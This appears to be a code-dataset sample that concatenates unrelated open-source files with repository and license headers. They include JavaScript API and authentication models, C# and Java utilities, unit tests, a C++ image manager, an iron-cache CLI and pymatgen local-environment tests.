reject(err);
});
});
}
Get_Action_Type_Field() {
return new Promise((resolve, reject) => {
this.Auth.fetch(window.GET_FIELD_ACTION_TYPES)
.then(result => {
resolve(result.response);
})
.catch(err => {
reject(err);
});
});
}
Get_Outputs() {
return new Promise((resolve, reject) => {
this.Auth.fetch(window.GET_OUTPUTS)
.then(result => {
resolve(result.response);
})
.catch(err => {
reject(err);
});
});
}
Get_Actions() {
return new Promise((resolve, reject) => {
this.Auth.fetch(window.GET_FIELD_ACTIONS)
.then(result => {
resolve(result.response);
})
.catch(err => {
reject(err);
});
});
}
Get_Conditions() {
return new Promise((resolve, reject) => {
this.Auth.fetch(window.GET_CONDITIONS)
.then(result => {
resolve(result.response);
})
.catch(err => {
reject(err);
});
});
}
Get_Notifications() {
return new Promise((resolve, reject) => {
this.Auth.fetch(window.GET_NOTIFICATIONS)
.then(result => {
resolve(result.response);
})
.catch(err => {
reject(err);
});
});
}
}
| mit |
csf-dev/CSF.Screenplay | CSF.Screenplay.WebApis/WebApisBuilderExtensions.cs | 3562 | //
// JsonApisBuilderExtensions.cs
//
// Author:
// Craig Fowler <craig@csf-dev.com>
//
// Copyright (c) 2018 Craig Fowler
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
using System;
using CSF.Screenplay.Integration;
using CSF.Screenplay.WebApis.Abilities;
namespace CSF.Screenplay.WebApis
{
/// <summary>
/// Convenience extension methods for registering the ability to consume web APIs.
/// </summary>
public static class WebApisBuilderExtensions
{
/// <summary>
/// Configures the current integration to make the <see cref="ConsumeWebServices"/> ability available via
/// dependency injection.
/// </summary>
/// <param name="helper">The integration helper.</param>
/// <param name="baseUri">A base URI for all API requests which have relative URIs.</param>
/// <param name="defaultTimeout">A default timeout for API requests which do not specify an explicit timeout.</param>
/// <param name="name">The registered name of this ability.</param>
public static void UseWebApis(this IIntegrationConfigBuilder helper,
string baseUri,
TimeSpan? defaultTimeout = null,
string name = null)
{
if(helper == null)
throw new ArgumentNullException(nameof(helper));
helper.UseWebApis(new Uri(baseUri), defaultTimeout, name);
}
/// <summary>
/// Configures the current integration to make the <see cref="ConsumeWebServices"/> ability available via
/// dependency injection.
/// </summary>
/// <param name="helper">The integration helper.</param>
/// <param name="baseUri">A base URI for all API requests which have relative URIs.</param>
/// <param name="defaultTimeout">A default timeout for API requests which do not specify an explicit timeout.</param>
/// <param name="name">The registered name of this ability.</param>
public static void UseWebApis(this IIntegrationConfigBuilder helper,
Uri baseUri = null,
TimeSpan? defaultTimeout = null,
string name = null)
{
if(helper == null)
throw new ArgumentNullException(nameof(helper));
helper.ServiceRegistrations.PerScenario.Add(regBuilder => {
regBuilder
.RegisterFactory(() => new ConsumeWebServices(baseUri: baseUri, defaultTimeout: defaultTimeout))
.AsOwnType()
.WithName(name);
});
}
}
}
| mit |
dranawhite/test-java | test-pattern/src/main/java/com/dranawhite/pattern/observer/package-info.java | 330 | /**
* 观察者模式
* <pre>
* 又叫发布/订阅模式,让多个观察者对象同时监控谋一个主题对象;
* 这个主题对象在发生变化时会通知所有的观察者对象
*
* 类图:/docs/observer.png
* </pre>
*
* @author liangyq 2018/3/20
*/
package com.dranawhite.pattern.observer; | mit |
RobertGiesecke/PlainCsv | src/LibraryTests/CsvUtilsTests.cs | 4067 | using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.Globalization;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using NUnit.Framework.Constraints;
using RGiesecke.PlainCsv;
using NUnit.Framework;
namespace RGiesecke.PlainCsv.Tests
{
[TestFixture(), ExcludeFromCodeCoverage]
public class CsvUtilsTests
{
[Test()]
public void ConvertToStringTest()
{
var invariantCulture = CsvUtils.PersistedCultureInfo;
var de = CultureInfo.GetCultureInfo("de");
var defaultFlags = CsvOptions.Default.CsvFlags;
var noIso8601 = defaultFlags & ~CsvFlags.Iso8601Dates;
Assert.That(CsvUtils.ConvertToString(1.50m, invariantCulture), Is.EqualTo("1.5"));
Assert.That(CsvUtils.ConvertToString(1.50m, de), Is.EqualTo("1,5"));
Assert.That(CsvUtils.ConvertToString(1.00m, de), Is.EqualTo("1"));
Assert.That(CsvUtils.ConvertToString(new DateTime(1952, 9, 23), invariantCulture),
Is.EqualTo("1952-09-23"));
Assert.That(CsvUtils.ConvertToString(new DateTime(1952, 9, 23, 9, 2, 0), noIso8601, invariantCulture),
Is.EqualTo("1952-09-23 09:02:00"));
Assert.That(CsvUtils.ConvertToString(new DateTime(1952, 9, 23, 9, 2, 0), invariantCulture),
Is.EqualTo("1952-09-23T09:02:00"));
Assert.That(CsvUtils.ConvertToString(new DateTime(1, 1, 1, 9, 2, 0), noIso8601, invariantCulture),
Is.EqualTo("09:02:00"));
Assert.That(CsvUtils.ConvertToString(new DateTime(1, 1, 1, 9, 2, 0), invariantCulture),
Is.EqualTo("T09:02:00"));
}
[Test()]
public void ParseDateTimeTest()
{
var invariantCulture = CsvUtils.PersistedCultureInfo;
var de = CultureInfo.GetCultureInfo("de");
var en = CultureInfo.GetCultureInfo("en");
Action<string, CultureInfo, DateTime?> compare = (text, ci, expected) =>
{
var expectation = expected != null ? (IResolveConstraint)Is.EqualTo(expected) : Is.Null;
Assert.That(CsvUtils.ParseDateTime(text, ci), expectation);
var pass = expected != null;
DateTime? result;
Assert.That(CsvUtils.TryParseDateTime(text, ci, out result), Is.EqualTo(pass));
Assert.That(result, expectation);
};
compare("1952-09-23", invariantCulture, new DateTime(1952, 9, 23));
compare("1952-09-23 10:02", invariantCulture, new DateTime(1952, 9, 23, 10, 2, 0));
compare("23.09.1952 14:02:12", de, new DateTime(1952, 9, 23, 14, 2, 12));
compare("23.Okt.1952 14:02:12", de, new DateTime(1952, 10, 23, 14, 2, 12));
compare("1952-04-18T14:02:12", de, new DateTime(1952, 4, 18, 14, 2, 12));
compare("T14:02:12", de, new DateTime(1, 1, 1, 14, 2, 12));
compare("14:02:12", de, new DateTime(1, 1, 1, 14, 2, 12));
compare("02:02:12 pm", en, new DateTime(1, 1, 1, 14, 2, 12));
compare("T02:02:12", en, new DateTime(1, 1, 1, 2, 2, 12));
compare("", en, null);
compare(" ", en, null);
compare(null, en, null);
Action<string, CultureInfo> triggerFormatException = (text, ci) =>
{
try
{
var r = CsvUtils.ParseDateTime(text, ci);
Assert.Fail("Invalid texts should trigger a FormatException");
}
catch (FormatException)
{
}
};
triggerFormatException("sometext!", en);
triggerFormatException("21.02.2010", en);
triggerFormatException("11-22-2010", de);
triggerFormatException("März-01-2010", en);
triggerFormatException("01-Okt-2010", en);
}
[Test()]
public void QuoteText_Escapes_QuoteChar()
{
Assert.That(CsvUtils.QuoteText("abc"), Is.EqualTo("\"abc\""));
Assert.That(CsvUtils.QuoteText(""), Is.EqualTo("\"\""));
Assert.That(CsvUtils.QuoteText(null), Is.EqualTo("\"\""));
Assert.That(CsvUtils.QuoteText("a b \tc"), Is.EqualTo("\"a b \tc\""));
Assert.That(CsvUtils.QuoteText("a b \tc", '\t'), Is.EqualTo("\ta b \t\tc\t"));
}
}
}
| mit |
EdvinasKilbauskas/Squarie | app/src/main/java/com/edvinaskilbauskas/squarie/Assets.java | 2807 | package com.edvinaskilbauskas.squarie;
import android.util.Log;
import com.edvinaskilbauskas.squarie.EdvGameLib.System.GameSystem;
import com.edvinaskilbauskas.squarie.EdvGameLib.System.RenderableObject2D;
import com.edvinaskilbauskas.squarie.EdvGameLib.System.RenderableObjectFactory;
import com.edvinaskilbauskas.squarie.EdvGameLib.System.Texture;
import com.edvinaskilbauskas.squarie.EdvGameLib.Tools.Color;
import com.edvinaskilbauskas.squarie.EdvGameLib.Tools.Vector2;
/**
* Created by edvinas on 11/29/14.
*/
public class Assets {
public static RenderableObject2D square;
public static RenderableObject2D platform;
public static RenderableObject2D background;
public static RenderableObject2D leaderboards;
public static Texture leaderTexture;
public static void setup(GameSystem gameSystem){
square = RenderableObjectFactory.newRectangle(1,1);
leaderTexture = new Texture(gameSystem,"leaderboards.png");
leaderboards = RenderableObjectFactory.newRectangle(leaderTexture, 0.0f, 0.0f, 256.0f, 256.0f);
leaderboards.scale(1.0f/leaderTexture.getWidth(),1.0f/leaderTexture.getHeight());
leaderboards.setCenter(0.5f,0.5f);
square.setCenter(0.5f,0.5f);
platform = RenderableObjectFactory.newRectangle(1,1);
platform.setCenter(0.5f,1.0f);
createBackground(10,0.35f,0.75f);
}
private static void createBackground(int edges, float alpha1, float alpha2){
float step = 360.0f/edges;
float radius = 50.0f;
Color color1 = new Color(1,1,1,alpha1);
Color color2 = new Color(1,1,1,alpha2);
Vector2 vector = new Vector2(radius,0);
background = new RenderableObject2D(null, 2+edges*2);
background.setVertexAttributes(0,0,0,color1.r,color1.g,color1.b,color1.a,0,0);
background.setVertexAttributes(1,0,0,color2.r,color2.g,color2.b,color2.a,0,0);
for(int i = 0; i < edges; i++){
background.setVertexAttributes(2+i*2,vector.x,vector.y,color1.r,color1.g,color1.b,color1.a,0,0);
background.setVertexAttributes(3+i*2,vector.x,vector.y,color2.r,color2.g,color2.b,color2.a,0,0);
vector.rotate(step);
}
short [] indices = new short[edges*3];
for(int i = 0; i < edges; i++){
if(i%2 == 0){
indices[(i*3)+0] = 0;
indices[(i*3)+1] = (short)(2+2*i);
indices[(i*3)+2] = (short)(4+2*i);
}else if(i%2 == 1){
indices[(i*3)+0] = 1;
indices[(i*3)+1] = (short)(3+2*i);
if(i == edges-1)
indices[(i*3)+2] = (short)(3);
else indices[(i*3)+2] = (short)(5+2*i);
}
}
background.setIndexData(indices);
}
}
| mit |
cwhite911/Plott | plott/api/models/Passport.js | 3851 | var bcrypt = require('bcryptjs');
/**
* Hash a passport password.
*
* @param {Object} password
* @param {Function} next
*/
function hashPassword (passport, next) {
if (passport.password) {
bcrypt.hash(passport.password, 10, function (err, hash) {
passport.password = hash;
next(err, passport);
});
} else {
next(null, passport);
}
}
/**
* Passport Model
*
* The Passport model handles associating authenticators with users. An authen-
* ticator can be either local (password) or third-party (provider). A single
* user can have multiple passports, allowing them to connect and use several
* third-party strategies in optional conjunction with a password.
*
* Since an application will only need to authenticate a user once per session,
* it makes sense to encapsulate the data specific to the authentication process
* in a model of its own. This allows us to keep the session itself as light-
* weight as possible as the application only needs to serialize and deserialize
* the user, but not the authentication data, to and from the session.
*/
var Passport = {
adapter: 'mongo',
attributes: {
// Required field: Protocol
//
// Defines the protocol to use for the passport. When employing the local
// strategy, the protocol will be set to 'local'. When using a third-party
// strategy, the protocol will be set to the standard used by the third-
// party service (e.g. 'oauth', 'oauth2', 'openid').
protocol: { type: 'alphanumeric', required: true },
// Local fields: Password, Access Token
//
// When the local strategy is employed, a password will be used as the
// means of authentication along with either a username or an email.
//
// accessToken is used to authenticate API requests. it is generated when a
// passport (with protocol 'local') is created for a user.
password : { type: 'string', minLength: 8 },
accessToken : { type: 'string' },
// Provider fields: Provider, identifer and tokens
//
// "provider" is the name of the third-party auth service in all lowercase
// (e.g. 'github', 'facebook') whereas "identifier" is a provider-specific
// key, typically an ID. These two fields are used as the main means of
// identifying a passport and tying it to a local user.
//
// The "tokens" field is a JSON object used in the case of the OAuth stan-
// dards. When using OAuth 1.0, a `token` as well as a `tokenSecret` will
// be issued by the provider. In the case of OAuth 2.0, an `accessToken`
// and a `refreshToken` will be issued.
provider : { type: 'alphanumericdashed' },
identifier : { type: 'string' },
tokens : { type: 'json' },
// Associations
//
// Associate every passport with one, and only one, user. This requires an
// adapter compatible with associations.
//
// For more information on associations in Waterline, check out:
// https://github.com/balderdashy/waterline
user: { model: 'User', required: true },
/**
* Validate password used by the local strategy.
*
* @param {string} password The password to validate
* @param {Function} next
*/
validatePassword: function (password, next) {
bcrypt.compare(password, this.password, next);
}
},
/**
* Callback to be run before creating a Passport.
*
* @param {Object} passport The soon-to-be-created Passport
* @param {Function} next
*/
beforeCreate: function (passport, next) {
hashPassword(passport, next);
},
/**
* Callback to be run before updating a Passport.
*
* @param {Object} passport Values to be updated
* @param {Function} next
*/
beforeUpdate: function (passport, next) {
hashPassword(passport, next);
}
};
module.exports = Passport;
| mit |
ECP-CANDLE/Supervisor | workflows/xcorr/record.py | 603 |
# RECORD PY
# Represent a record in the DB
class Record:
def __init__(self):
self.features = []
self.studies = []
def scan(self, row):
self.rowid, self.ts, self.cutoff_corr, self.cutoff_xcorr = \
row[0:4]
def print(self):
print("record: " + str(self.rowid))
print("timestamp: " + self.ts)
print("cutoff_corr: " + str(self.cutoff_corr))
print("cutoff_xcorr: " + str(self.cutoff_xcorr))
print("features: " + ", ".join(self.features))
print("studies: " + ", ".join(self.studies))
| mit |
opopeieie/plant-static | plant/src/main.js | 662 |
import 'babel-polyfill';
import './styles/index.css';//TODO:由webpack构建
import React from 'react';
import ReactDom from 'react-dom';
import {Provider} from 'react-redux';
import {Router,browserHistory,hashHistory} from 'react-router';
import { syncHistoryWithStore } from 'react-router-redux';
import configureStore from './redux/store/configureStore'
import routes from './routes'
const store = configureStore();
const history = syncHistoryWithStore(hashHistory,store);
const APPDOM = document.getElementById("app");
ReactDom.render(
<Provider store={store}>
<Router history={history} children={routes} />
</Provider>,
APPDOM
);
| mit |
mdraganov/Telerik-Academy | C#/C# Programming Part I/IntroToProgramming/CurrentDateAndTime/Properties/AssemblyInfo.cs | 1412 | using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("CurrentDateAndTime")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("CurrentDateAndTime")]
[assembly: AssemblyCopyright("Copyright © 2015")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("e90585cd-56c5-4af8-be7b-eefb29737a5c")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| mit |
komastar/SGA | WinAPI_Template/WinAPI_Template/ImageManager.cpp | 3684 | #include "stdafx.h"
#include "ImageManager.h"
void ImageManager::AddImageList(string Scene)
{
m_imgList = g_pFileManager->JsonFind(RSC_LIST_KEY);
m_stLoadResult.nHead = 0;
m_stLoadResult.nMax = (int)m_imgList[Scene]["images"].size();
g_pLogManager->WriteLog(EL_INFO, Scene);
}
bool ImageManager::AddImageByJson(string Scene)
{
int idx = m_stLoadResult.nHead;
if (idx < m_stLoadResult.nMax)
{
// Add images
string key = m_imgList[Scene]["images"][idx]["key"];
string filename = m_imgList[Scene]["images"][idx]["filename"];
int width = m_imgList[Scene]["images"][idx]["width"];
int height = m_imgList[Scene]["images"][idx]["height"];
filename = "resources/" + Scene + "/images/" + filename;
AddImage(key, Scene, filename, width, height);
g_pLogManager->WriteLog(EL_INFO, key);
g_pLogManager->WriteLog(EL_INFO, filename);
++m_stLoadResult.nHead;
return true;
}
else
{
return false;
}
}
ImageObject * ImageManager::AddImage(string Key, int Width, int Height)
{
ImageObject* image = new ImageObject;
image->Setup(Width, Height);
image->SetSceneName("global");
m_mapImage.insert(pair<string, ImageObject*>(Key, image));
return image;
}
ImageObject * ImageManager::AddImage(string Key, string Scene, string Filename, int Width, int Height)
{
// overlapping check by tagname
ImageObject* image = FindImage(Key);
if (image == NULL)
{
g_pLogManager->WriteLog(EL_INFO, "Add new image");
g_pLogManager->WriteLog(EL_INFO, Filename);
image = new ImageObject;
image->Setup(Filename.c_str(), Width, Height);
image->SetSceneName(Scene);
m_mapImage.insert(pair<string, ImageObject*>(Key, image));
}
else
{
g_pLogManager->WriteLog(EL_DEBUG, "Return already exist image");
}
return image;
}
ImageObject * ImageManager::FindImage(string Key)
{
m_mapIter = m_mapImage.find(Key);
// Find correct
if (m_mapIter != m_mapImage.end())
return m_mapIter->second;
else
return NULL;
}
void ImageManager::Release(string Key)
{
m_mapIter = m_mapImage.find(Key);
if (m_mapIter != m_mapImage.end())
{
// release memory of image
SAFE_DELETE(m_mapIter->second);
// erase map data
m_mapImage.erase(Key);
}
}
void ImageManager::ReleaseByScene(string Scene)
{
g_pLogManager->WriteLog(EL_INFO, "Image release by scene " + Scene);
m_mapIter = m_mapImage.begin();
while (m_mapIter != m_mapImage.end())
{
if (m_mapIter->second->IsSceneContain(Scene))
{
SAFE_DELETE(m_mapIter->second);
m_mapIter = m_mapImage.erase(m_mapIter);
}
else
{
++m_mapIter;
}
}
}
void ImageManager::ReleaseAll()
{
m_mapIter = m_mapImage.begin();
while (m_mapIter != m_mapImage.end())
{
SAFE_DELETE(m_mapIter->second);
m_mapIter = m_mapImage.erase(m_mapIter);
}
}
void ImageManager::Render(string Key, HDC hdc)
{
Render(Key, hdc, UnitPos{ 0.0f, 0.0f });
}
void ImageManager::Render(string Key, HDC hdc, UnitPos DestPos)
{
ImageObject* image = FindImage(Key);
if (image)
{
image->Render(hdc, (int)DestPos.x, (int)DestPos.y);
}
}
void ImageManager::Render(string Key, HDC hdc, int destX, int destY, int destW, int destH, int srcX, int srcY, int srcW, int srcH, int alpha)
{
ImageObject* image = FindImage(Key);
if (image)
{
image->Render(hdc, destX, destY, destW, destH, srcX, srcY, srcW, srcH, alpha);
}
}
| mit |
asaed/poc-nancy-at-iadnug | Poc.Nancy.VersionUtil/Data/AppVersion.cs | 302 | using System;
namespace ASaed.POC.Nancy.VersionUtil.Data
{
public class AppVersion
{
public string SemanticVersion { get; set; }
public string CommitHash { get; set; }
public string CommitLink { get; set; }
public DateTime BuildDateTime { get; set; }
}
} | mit |
RapidFiring/kwevebot | crons/abstract.js | 228 | 'use strict';
const evejsapi = require('evejsapi');
class CronAbstract {
constructor() {
this.XmlClient = new evejsapi.client.xml({
cache: new evejsapi.cache.redis(),
});
}
}
module.exports = CronAbstract;
| mit |
NetOfficeFw/NetOffice | Source/Word/Enums/WdNumberForm.cs | 921 | using System;
using NetOffice;
using NetOffice.Attributes;
namespace NetOffice.WordApi.Enums
{
/// <summary>
/// SupportByVersion Word 14, 15, 16
/// </summary>
///<remarks> MSDN Online Documentation: <see href="https://docs.microsoft.com/en-us/office/vba/api/Word.WdNumberForm"/> </remarks>
[SupportByVersion("Word", 14,15,16)]
[EntityType(EntityType.IsEnum)]
public enum WdNumberForm
{
/// <summary>
/// SupportByVersion Word 14, 15, 16
/// </summary>
/// <remarks>0</remarks>
[SupportByVersion("Word", 14,15,16)]
wdNumberFormDefault = 0,
/// <summary>
/// SupportByVersion Word 14, 15, 16
/// </summary>
/// <remarks>1</remarks>
[SupportByVersion("Word", 14,15,16)]
wdNumberFormLining = 1,
/// <summary>
/// SupportByVersion Word 14, 15, 16
/// </summary>
/// <remarks>2</remarks>
[SupportByVersion("Word", 14,15,16)]
wdNumberFormOldStyle = 2
}
} | mit |
fiveisprime/iron-cache-cli | lib/iron-cache.js | 2854 | var ironcache = require('iron-cache')
, settings = require('./settings')
, json = require('prettyjson');
//
// Set defaults
// ============
//
//
// Show all defaults.
//
exports.defaults = function() {
writeResult(settings.get());
};
//
// Set the default project.
//
exports.defaultProject = function(project) {
settings.set({ project: project });
console.log();
console.log(' Stored');
console.log();
};
//
// Set the default token.
//
exports.defaultToken = function(token) {
settings.set({ token: token });
console.log();
console.log(' Stored');
console.log();
};
//
// Set the default cache.
//
exports.defaultCache = function(cache) {
settings.set({ cache: cache });
console.log();
console.log(' Stored');
console.log();
};
//
// Cache Interactions
// ==================
//
//
// List all caches.
//
exports.list = function(options) {
var client = tryCreateClient(options);
client.list(function(err, result) {
if (err) {
return writeError(err);
}
console.log();
console.log(' %s caches found', result.length);
if (result.length > 0) {
writeResult(result);
}
});
};
//
// Get info for a specific cache.
//
exports.info = function(options) {
var client = tryCreateClient(options);
client.info(options.cache || settings.get('cache'), function(err, result) {
if (err) {
return writeError(err);
}
writeResult(result);
});
};
//
// Get the value of a key in the specified cache.
//
exports.get = function(key, options) {
var client = tryCreateClient(options);
client.get(options.cache || settings.get('cache'), key, function(err, result) {
if (err) {
return writeError(err);
}
writeResult(result);
});
};
//
// Get the value of a key in the specified cache.
//
exports.put = function(key, value, options) {
var client = tryCreateClient(options);
client.put(options.cache || settings.get('cache'), key, { value: value }, function(err, result) {
if (err) {
return writeError(err);
}
console.log();
console.log(' %s', result.msg);
console.log();
});
};
//
// Helpers
// =======
//
//
// Formats and writes an error.
//
function writeError(err) {
console.log();
console.log(' \033[33merror:\033[0m', err.message);
console.log();
}
//
// Attempts to create an iron cache client. Exits the process on failure;
// returns an iron cache client on success.
//
function tryCreateClient(options) {
try {
return ironcache.createClient({
project: options.project || settings.get('project')
, token: options.token || settings.get('token')
});
} catch (e) {
writeError(e);
process.exit(1);
}
}
//
// Formats and writes the result.
//
function writeResult(result) {
console.log();
console.log(json.render(result));
console.log();
}
| mit |
ashkrishan/golangTest | test1/test/hell.go | 168 | package test
import (
"fmt"
)
var x = "hell text"
// This function test the closures
func Hellfunc() {
fmt.Printf("%v %T\n", x, x)
y := 30
fmt.Printf("%v", y)
}
| mit |
ch1c0t/immu | lib/immu/collection.rb | 316 | require_relative './helpers'
module Immu
class Collection
extend Helpers
include Enumerable
class << self
def create hash
self.new hash
end
end
def initialize hash
@items = Repo.all.select { |item| }
end
def each &b
@items.each &b
end
end
end
| mit |
radicalbear/rad_hoc_rails | query_builder/tests/integration/components/multi-field-select-test.js | 1383 | import { moduleForComponent, test } from 'ember-qunit';
import hbs from 'htmlbars-inline-precompile';
moduleForComponent('multi-field-select', 'Integration | Component | multi field select', {
integration: true
});
test('add field - passes field to addField', function(assert) {
this.set('selectableFields', [{ name: 'foo', displayName: 'foo', type: 'string'}]);
this.set('selectedFields', []);
this.on('addField', (field) => {
assert.deepEqual(field, { displayName: 'foo', name: 'foo', type: 'string' }, 'field was not passed to addField');
});
this.render(hbs`{{multi-field-select selectedFields=selectedFields selectableFields=selectableFields addField=(action 'addField')}}`);
this.$('.selectize-input').click();
this.$('.selectize-dropdown-content .option').click();
});
test('delete field', function(assert) {
let selectedFields = [{ name: 'foo', displayName: 'foo', type: 'string'}];
this.set('selectableFields', [{ name: 'foo', displayName: 'foo', type: 'string'}]);
this.set('selectedFields', selectedFields);
this.on('deleteField', (field) => {
selectedFields.removeObject(field);
assert.equal(this.$('.item').length, 0, 'field was not deleted');
});
this.render(hbs`{{multi-field-select selectedFields=selectedFields selectableFields=selectableFields deleteField=(action 'deleteField')}}`);
this.$('a.remove').click();
});
| mit |
tung7/tung_doc | src/main/java/com/tung7/docsys/support/constant/ConfigKeyConstant.java | 378 | package com.tung7.docsys.support.constant;
/**
* TODO Fill The Description!
*
* @author Tung
* @version 1.0
* @date 2017/5/6.
* @update
*/
public interface ConfigKeyConstant {
String INTI_FLAG = "init_flag";
String SLOGAN_TITLE = "slogan_title";
String SLOGAN_CONTENT = "slogan_content";
String TITLE = "title";
String COLOPHON = "colophon";
}
| mit |
johnson1228/pymatgen | pymatgen/analysis/tests/test_local_env.py | 30933 | # coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
from __future__ import unicode_literals
import numpy as np
import unittest
import os
from pymatgen.analysis.local_env import ValenceIonicRadiusEvaluator, \
VoronoiNN, JMolNN, \
MinimumDistanceNN, MinimumOKeeffeNN, MinimumVIRENN, \
get_neighbors_of_site_with_index, site_is_of_motif_type, \
NearNeighbors, LocalStructOrderParas
from pymatgen import Element, Structure, Lattice
from pymatgen.util.testing import PymatgenTest
from pymatgen.io.cif import CifParser
test_dir = os.path.join(os.path.dirname(__file__), "..", "..", "..",
'test_files')
class ValenceIonicRadiusEvaluatorTest(PymatgenTest):
def setUp(self):
"""
Setup MgO rocksalt structure for testing Vacancy
"""
mgo_latt = [[4.212, 0, 0], [0, 4.212, 0], [0, 0, 4.212]]
mgo_specie = ["Mg"] * 4 + ["O"] * 4
mgo_frac_cord = [[0, 0, 0], [0.5, 0.5, 0], [0.5, 0, 0.5], [0, 0.5, 0.5],
[0.5, 0, 0], [0, 0.5, 0], [0, 0, 0.5], [0.5, 0.5, 0.5]]
self._mgo_uc = Structure(mgo_latt, mgo_specie, mgo_frac_cord, True,
True)
self._mgo_valrad_evaluator = ValenceIonicRadiusEvaluator(self._mgo_uc)
def test_valences_ionic_structure(self):
valence_dict = self._mgo_valrad_evaluator.valences
for val in list(valence_dict.values()):
self.assertTrue(val in {2, -2})
def test_radii_ionic_structure(self):
radii_dict = self._mgo_valrad_evaluator.radii
for rad in list(radii_dict.values()):
self.assertTrue(rad in {0.86, 1.26})
def tearDown(self):
del self._mgo_uc
del self._mgo_valrad_evaluator
class VoronoiNNTest(PymatgenTest):
def setUp(self):
self.s = self.get_structure('LiFePO4')
self.nn = VoronoiNN(targets=[Element("O")])
def test_get_voronoi_polyhedra(self):
self.assertEqual(len(self.nn.get_voronoi_polyhedra(self.s, 0).items()), 8)
def test_get_cn(self):
self.assertAlmostEqual(self.nn.get_cn(
self.s, 0, use_weights=True), 5.809265748999465, 7)
def test_get_coordinated_sites(self):
self.assertEqual(len(self.nn.get_nn(self.s, 0)), 8)
def tearDown(self):
del self.s
del self.nn
class JMolNNTest(PymatgenTest):
def setUp(self):
self.jmol = JMolNN()
self.jmol_update = JMolNN(el_radius_updates={"Li": 1})
def test_get_nn(self):
s = self.get_structure('LiFePO4')
# Test the default near-neighbor finder.
nsites_checked = 0
for site_idx, site in enumerate(s):
if site.specie == Element("Li"):
self.assertEqual(self.jmol.get_cn(s, site_idx), 0)
nsites_checked += 1
elif site.specie == Element("Fe"):
self.assertEqual(self.jmol.get_cn(s, site_idx), 6)
nsites_checked += 1
elif site.specie == Element("P"):
self.assertEqual(self.jmol.get_cn(s, site_idx), 4)
nsites_checked += 1
self.assertEqual(nsites_checked, 12)
# Test a user override that would cause Li to show up as 6-coordinated
self.assertEqual(self.jmol_update.get_cn(s, 0), 6)
# Verify get_nn function works
self.assertEqual(len(self.jmol_update.get_nn(s, 0)), 6)
def tearDown(self):
del self.jmol
del self.jmol_update
class MiniDistNNTest(PymatgenTest):
def setUp(self):
self.diamond = Structure(
Lattice([[2.189, 0, 1.264], [0.73, 2.064, 1.264],
[0, 0, 2.528]]), ["C0+", "C0+"], [[2.554, 1.806, 4.423],
[0.365, 0.258, 0.632]],
validate_proximity=False,
to_unit_cell=False, coords_are_cartesian=True,
site_properties=None)
self.nacl = Structure(
Lattice([[3.485, 0, 2.012], [1.162, 3.286, 2.012],
[0, 0, 4.025]]), ["Na1+", "Cl1-"], [[0, 0, 0],
[2.324, 1.643, 4.025]],
validate_proximity=False,
to_unit_cell=False, coords_are_cartesian=True,
site_properties=None)
self.cscl = Structure(
Lattice([[4.209, 0, 0], [0, 4.209, 0], [0, 0, 4.209]]),
["Cl1-", "Cs1+"], [[2.105, 2.105, 2.105], [0, 0, 0]],
validate_proximity=False, to_unit_cell=False,
coords_are_cartesian=True, site_properties=None)
self.mos2 = Structure(
Lattice([[3.19, 0, 0], [-1.595, 2.763, 0], [0, 0, 17.44]]),
['Mo', 'S', 'S'], [[-1e-06, 1.842, 3.72], [1.595, 0.92, 5.29], \
[1.595, 0.92, 2.155]], coords_are_cartesian=True)
def test_all_nn_classes(self):
self.assertAlmostEqual(MinimumDistanceNN().get_cn(
self.diamond, 0), 4)
self.assertAlmostEqual(MinimumDistanceNN().get_cn(
self.nacl, 0), 6)
self.assertAlmostEqual(MinimumDistanceNN(tol=0.01).get_cn(
self.cscl, 0), 8)
self.assertAlmostEqual(MinimumDistanceNN(tol=0.1).get_cn(
self.mos2, 0), 6)
for image in MinimumDistanceNN(tol=0.1).get_nn_images(self.mos2, 0):
self.assertTrue(image in [[0, 0, 0], [0, 1, 0], [-1, 0, 0], \
[0, 0, 0], [0, 1, 0], [-1, 0, 0]])
self.assertAlmostEqual(MinimumOKeeffeNN(tol=0.01).get_cn(
self.diamond, 0), 4)
self.assertAlmostEqual(MinimumOKeeffeNN(tol=0.01).get_cn(
self.nacl, 0), 6)
self.assertAlmostEqual(MinimumOKeeffeNN(tol=0.01).get_cn(
self.cscl, 0), 8)
self.assertAlmostEqual(MinimumVIRENN(tol=0.01).get_cn(
self.diamond, 0), 4)
self.assertAlmostEqual(MinimumVIRENN(tol=0.01).get_cn(
self.nacl, 0), 6)
self.assertAlmostEqual(MinimumVIRENN(tol=0.01).get_cn(
self.cscl, 0), 8)
def tearDown(self):
del self.diamond
del self.nacl
del self.cscl
del self.mos2
